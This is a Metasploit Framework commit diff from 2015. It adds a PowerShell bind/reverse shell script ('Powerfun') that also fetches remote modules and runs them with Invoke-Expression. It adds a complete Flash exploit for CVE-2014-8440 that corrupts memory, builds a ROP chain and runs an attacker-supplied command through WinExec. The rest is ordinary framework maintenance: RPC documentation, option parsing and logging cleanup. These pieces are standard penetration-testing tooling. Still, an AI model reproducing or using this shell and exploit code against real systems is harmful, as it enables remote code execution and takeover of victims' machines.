Fix merge conflict

bug/bundler_fix
wchen-r7 2015-04-30 12:33:45 -05:00
commit 89d026c900
96 changed files with 3300 additions and 652 deletions

Binary file not shown.

View File

@ -0,0 +1,59 @@
# Powerfun - Written by Ben Turner & Dave Hardy
function Get-Webclient
{
$wc = New-Object -TypeName Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun
{
Param(
[String]$Command,
[String]$Download
)
Process {
$modules = @(MODULES_REPLACE)
if ($Command -eq "bind")
{
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..255|%{0}
if ($Download -eq "true")
{
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
}

View File

@ -1,7 +1,14 @@
Alphanetworks wrgg19_c_dlwbr_dir300 Alphanetworks wrgg19_c_dlwbr_dir300
Alphanetworks wrgn49_dlob_dir600b Alphanetworks wrgn49_dlob_dir600b
Alphanetworks wrgn23_dlwbr_dir600b Alphanetworks wrgn23_dlwbr_dir600b
Alphanetworks wrgn22_dlwbr_dir615 Alphanetworks wrgn22_dlwbr_dir615
Alphanetworks wrgnd08_dlob_dir815 Alphanetworks wrgnd08_dlob_dir815
Alphanetworks wrgg15_di524 Alphanetworks wrgg15_di524
Alphanetworks wrgn39_dlob.hans_dir645 Alphanetworks wrgn39_dlob.hans_dir645
Alphanetworks wapnd03cm_dkbs_dap2555
Alphanetworks wapnd04cm_dkbs_dap3525
Alphanetworks wapnd15_dlob_dap1522b
Alphanetworks wrgac01_dlob.hans_dir865
Alphanetworks wrgn23_dlwbr_dir300b
Alphanetworks wrgn28_dlob_dir412
Alphanetworks wrgn39_dlob.hans_dir645_V1

502
external/source/exploits/CVE-2014-8440/Msf.as vendored Executable file
View File

@ -0,0 +1,502 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Msf extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Msf() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
// Use the corrupted Vector<uint> to search saved addresses
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = this.uv[object_vector_pos] - 1
var main:uint = this.uv[object_vector_pos + 2] - 1
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
// Locate the corrupted Vector<uint> in memory
// It allows arbitrary address memory read/write
var ba_address:uint = search_ba_address()
if (ba_address == 0xffffffff) {
return
}
var uv_address:uint = ba_address + index
this.uv[0] = uv_address
// Use the corrupted Vector<uint> to disclose arbitrary memory
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
this.uv[0] = 0xfeedbabe
//index = search_uint_vector(0xffffffff, 114)
index = search_uint_vector(0x40000000, 114)
if (index == 0xffffffff) {
return
}
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
this.object_vector[i] = new Vector.<uint>()
} else {
this.object_vector[i] = new Vector.<Object>()
}
i++
}
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
} else {
objects = this.object_vector[i] as Vector.<Object>
objects.length = 114
objects[0] = this.ba
objects[1] = i
objects[2] = this
objects[3] = this.stack
objects[4] = this.payload_space
}
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
// Use the corrupted shared_ba to disclose its own address
private function search_ba_address():uint {
var address:uint = 0
this.shared_ba.position = 0x14
address = shared_ba.readUnsignedInt()
if (address == 0) {
address = 0xffffffff
this.shared_ba.position = 8
var next:uint = shared_ba.readUnsignedInt()
var prior:uint = shared_ba.readUnsignedInt()
if (next - prior == 0x8000) {
address = prior + 0x4000
}
} else {
address = address - 0x30
}
return address
}
// Use the corrupted uint vector to search an vector with
// interesting objects for info leaking
private function search_object_vector():uint {
var i:uint = 0;
while (i < 0x4000){
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
this.uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
return this.uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -1,122 +0,0 @@
require 'msf/core'
require 'metasploit/framework/telnet/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is based off of the telnet LoginScanner. We had to role our own,
# based on hdm's recommendation, since we're not trying to login to telnet,
# but we're actually doing the escalated privileges (enable) login.
class Brocade_Telnet
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Telnet::Client
CAN_GET_SESSION = true
DEFAULT_PORT = 23
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'telnet' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# @!attribute verbosity
# The timeout to wait for the telnet banner.
#
# @return [Fixnum]
attr_accessor :banner_timeout
# @!attribute verbosity
# The timeout to wait for the response from a telnet command.
#
# @return [Fixnum]
attr_accessor :telnet_timeout
validates :banner_timeout,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 1
}
validates :telnet_timeout,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 1
}
# (see {Base#attempt_login})
def attempt_login(credential)
result_options = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'telnet'
}
begin
if connect_reset_safe == :refused
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
else
if busy_message?
self.sock.close unless self.sock.closed?
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
end
unless result_options[:status]
raw_send("enable\r\n") #send the enable command
unless password_prompt?
send_user(credential.public)
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
if password_prompt?(credential.public)
send_pass(credential.private)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
end
end
if login_succeeded?
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
end
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
private
# This method sets the sane defaults for things
# like timeouts and TCP evasion options
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.banner_timeout ||= 25
self.telnet_timeout ||= 10
self.connection_timeout ||= 30
self.max_send_size ||= 0
self.send_delay ||= 0
# Shim to set up the ivars from the old Login mixin
create_login_ivars
end
end
end
end
end

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/base/sessions/command_shell'
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
#
# Execute any specified auto-run scripts for this session
#
def process_autoruns(datastore)
# Read the username and hostname from the initial banner
initial_output = shell_read(-1, 0.01)
if initial_output =~ /running as user ([^\s]+) on ([^\s]+)/
username = $1
hostname = $2
self.info = "#{username} @ #{hostname}"
else
self.info = initial_output.gsub(/[\r\n]/, ' ')
end
# Call our parent class's autoruns processing method
super
end
#
# Returns the type of session.
#
def self.type
"powershell"
end
#
# Returns the session description.
#
def desc
"Powershell session"
end
end

View File

@ -35,7 +35,7 @@ module Auxiliary::Login
# #
# Some of these regexes borrowed from NeXpose, others added from datasets # Some of these regexes borrowed from NeXpose, others added from datasets
# #
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i @login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
@password_regex = /(?:password|passwd)\s*\:/i @password_regex = /(?:password|passwd)\s*\:/i
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i @false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
@failure_regex = /(?: @failure_regex = /(?:

View File

@ -92,11 +92,7 @@ module Exploit::Remote::HttpServer
def print_error(msg='') def print_error(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# #
# :category: print_* overrides # :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli # Prepends client and module name if inside a thread with a #cli
@ -126,11 +122,6 @@ module Exploit::Remote::HttpServer
end end
# :category: print_* overrides # :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli # Prepends client and module name if inside a thread with a #cli
def vprint_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_warning(msg='') def vprint_warning(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end end

View File

@ -219,7 +219,7 @@ module Msf
@requirements.each do |k, v| @requirements.each do |k, v|
expected = k != :vuln_test ? v : 'true' expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :activex if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym]) bad_reqs << k if has_bad_activex?(profile[k.to_sym])
@ -334,7 +334,7 @@ module Msf
when :script when :script
# Gathers target data from a POST request # Gathers target data from a POST request
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.") vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.")
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) } parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
when :headers when :headers
# Gathers target data from headers # Gathers target data from headers

View File

@ -1,9 +1,4 @@
module Msf::Module::UI::Message::Verbose module Msf::Module::UI::Message::Verbose
# Verbose version of #print_debug
def vprint_debug(msg)
print_debug(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
end
# Verbose version of #print_error # Verbose version of #print_error
def vprint_error(msg) def vprint_error(msg)
print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']

View File

@ -14,18 +14,21 @@ class OptAddressRange < OptBase
def normalize(value) def normalize(value)
return nil unless value.kind_of?(String) return nil unless value.kind_of?(String)
if value =~ /^rand:(.*)/ if (value =~ /^file:(.*)/)
path = $1
return false if not File.exists?(path) or File.directory?(path)
return File.readlines(path).map{ |s| s.strip}.join(" ")
elsif (value =~ /^rand:(.*)/)
count = $1.to_i count = $1.to_i
return false if count < 1 return false if count < 1
ret = '' ret = ''
count.times do count.times {
ret << ' ' if not ret.empty? ret << " " if not ret.empty?
ret << [ rand(0x100000000) ].pack('N').unpack('C*').map{|x| x.to_s }.join('.') ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".")
end }
return ret return ret
end end
return value
value
end end
def valid?(value) def valid?(value)

View File

@ -13,6 +13,14 @@ class OptRaw < OptBase
end end
def normalize(value) def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value value
end end

View File

@ -13,6 +13,14 @@ class OptString < OptBase
end end
def normalize(value) def normalize(value)
if (value =~ /^file:(.*)/)
path = $1
begin
value = File.read(path)
rescue ::Errno::ENOENT, ::Errno::EISDIR
value = nil
end
end
value value
end end

View File

@ -119,13 +119,6 @@ class Plugin
output.print_good(msg) if (output) output.print_good(msg) if (output)
end end
#
# Prints a 'debug' message.
#
def print_debug(msg='')
output.print_debug(msg) if (output)
end
# #
# Prints a status line. # Prints a status line.
# #

View File

@ -331,7 +331,6 @@ protected
begin begin
client.sys.config.getprivs() client.sys.config.getprivs()
root_key, base_key = session.sys.registry.splitkey(key) root_key, base_key = session.sys.registry.splitkey(key)
#print_debug("Loading file #{file}")
begin begin
loadres = session.sys.registry.load_key(root_key, base_key, file) loadres = session.sys.registry.load_key(root_key, base_key, file)
rescue Rex::Post::Meterpreter::RequestError => e rescue Rex::Post::Meterpreter::RequestError => e
@ -349,7 +348,6 @@ protected
#print_error("An unknown error has occurred: #{loadres.to_s}") #print_error("An unknown error has occurred: #{loadres.to_s}")
return false return false
else else
#print_debug("Registry Hive Loaded Successfully: #{key}")
return true return true
end end
end end
@ -377,7 +375,6 @@ protected
#print_error("An unknown error has occurred: #{unloadres.to_s}") #print_error("An unknown error has occurred: #{unloadres.to_s}")
return false return false
else else
#print_debug("Registry Hive Unloaded Successfully: #{key}")
return true return true
end end
end end

View File

@ -12,9 +12,21 @@ module RPC
class Client class Client
attr_accessor :token, :info # @!attribute token
# @return [String] A login token.
attr_accessor :token
# @!attribute info
# @return [Hash] Login information.
attr_accessor :info
# Initializes the RPC client to connect to: https://127.0.0.1:3790 (TLS1)
# The connection information is overridden through the optional info hash.
#
# @param [Hash] info Information needed for the initialization.
# @option info [String] :token A token used by the client.
# @return [void]
def initialize(info={}) def initialize(info={})
self.info = { self.info = {
:host => '127.0.0.1', :host => '127.0.0.1',
@ -29,6 +41,13 @@ class Client
end end
# Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes
# after the last request was made.
#
# @param [String] user Username.
# @param [String] pass Password.
# @raise RuntimeError Indicating a failed authentication.
# @return [TrueClass] Indicating a successful login.
def login(user,pass) def login(user,pass)
res = self.call("auth.login", user, pass) res = self.call("auth.login", user, pass)
unless (res && res['result'] == "success") unless (res && res['result'] == "success")
@ -38,8 +57,23 @@ class Client
true true
end end
# Prepend the authentication token as the first parameter
# of every call except auth.login. Requires the # Calls an API.
#
# @param [String] meth The RPC API to call.
# @param [Array<string>] args The arguments to pass.
# @raise [RuntimeError] Something is wrong while calling the remote API, including:
# * A missing token (your client needs to authenticate).
# * A unexpected response from the server, such as a timeout or unexpected HTTP code.
# @raise [Msf::RPC::ServerException] The RPC service returns an error.
# @return [Hash] The API response. It contains the following keys:
# * 'version' [String] Framework version.
# * 'ruby' [String] Ruby version.
# * 'api' [String] API version.
# @example
# # This will return something like this:
# # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"}
# rpc.call('core.version')
def call(meth, *args) def call(meth, *args)
unless meth == "auth.login" unless meth == "auth.login"
unless self.token unless self.token
@ -84,6 +118,10 @@ class Client
end end
end end
# Closes the client.
#
# @return [void]
def close def close
if @cli && @cli.conn? if @cli && @cli.conn?
@cli.close @cli.close

View File

@ -8,6 +8,11 @@ API_VERSION = "1.0"
class Exception < RuntimeError class Exception < RuntimeError
attr_accessor :code, :message attr_accessor :code, :message
# Initializes Exception.
#
# @param [Fixnum] code An error code.
# @param [String] message An error message.
# @return [void]
def initialize(code, message) def initialize(code, message)
self.code = code self.code = code
self.message = message self.message = message
@ -18,6 +23,13 @@ end
class ServerException < RuntimeError class ServerException < RuntimeError
attr_accessor :code, :error_message, :error_class, :error_backtrace attr_accessor :code, :error_message, :error_class, :error_backtrace
# Initializes ServerException.
#
# @param [Fixnum] code An error code.
# @param [String] error_message An error message.
# @param [Exception] error_class An error class.
# @param [Array] error_backtrace A backtrace of the error.
# @return [void]
def initialize(code, error_message, error_class, error_backtrace) def initialize(code, error_message, error_class, error_backtrace)
self.code = code self.code = code
self.error_message = error_message self.error_message = error_message

View File

@ -11,8 +11,21 @@ begin
rescue ::LoadError rescue ::LoadError
end end
# Handles client authentication. The authentication token will expire 5 minutes after the
# last request was made.
#
# @param [String] user The username.
# @param [String] pass The password.
# @raise [Msf::RPC::Exception] Something is wrong while authenticating, you can possibly get:
# * 401 Failed authentication.
# @return [Hash] A hash indicating a successful login, it contains the following keys:
# * 'result' [String] A successful message: 'success'.
# * 'token' [String] A token for the authentication.
# @example Here's how you would use this from the client:
# # This returns something like the following:
# # {"result"=>"success", "token"=>"TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ"}
# rpc.call('auth.login_noauth', 'username', 'password')
def rpc_login_noauth(user,pass) def rpc_login_noauth(user,pass)
if not (user.kind_of?(::String) and pass.kind_of?(::String)) if not (user.kind_of?(::String) and pass.kind_of?(::String))
error(401, "Login Failed") error(401, "Login Failed")
end end
@ -42,6 +55,19 @@ end
{ "result" => "success", "token" => token } { "result" => "success", "token" => token }
end end
# Handles client deauthentication.
#
# @param [String] token The user's token to log off.
# @raise [Msf::RPC::Exception] An error indicating a failed deauthentication, including:
# * 500 Invalid authentication token.
# * 500 Permanent authentication token.
# @return [Hash] A hash indiciating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# # This returns something like:
# # {"result"=>"success"}
# rpc.call('auth.logout', 'TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ')
def rpc_logout(token) def rpc_logout(token)
found = self.service.tokens[token] found = self.service.tokens[token]
error("500", "Invalid Authentication Token") if not found error("500", "Invalid Authentication Token") if not found
@ -53,6 +79,16 @@ end
{ "result" => "success" } { "result" => "success" }
end end
# Returns a list of authentication tokens, including the ones that are
# temporary, permanent, or stored in the backend.
#
# @return [Hash] A hash that contains a list of authentication tokens. It contains the following key:
# * 'tokens' [Array<string>] An array of tokens.
# @example Here's how you would use this from the client:
# # This returns something like:
# # {"tokens"=>["TEMPf5I4Ec8cBEKVD8D7xtIbTXWoKapP", "TEMPtcVmMld8w74zo0CYeosM3iXW0nJz"]}
# rpc.call('auth.token_list')
def rpc_token_list def rpc_token_list
res = self.service.tokens.keys res = self.service.tokens.keys
begin begin
@ -66,6 +102,14 @@ end
{ "tokens" => res } { "tokens" => res }
end end
# Adds a new token to the database.
#
# @param [String] token A unique token.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('auth.token_add', 'UNIQUE_TOKEN')
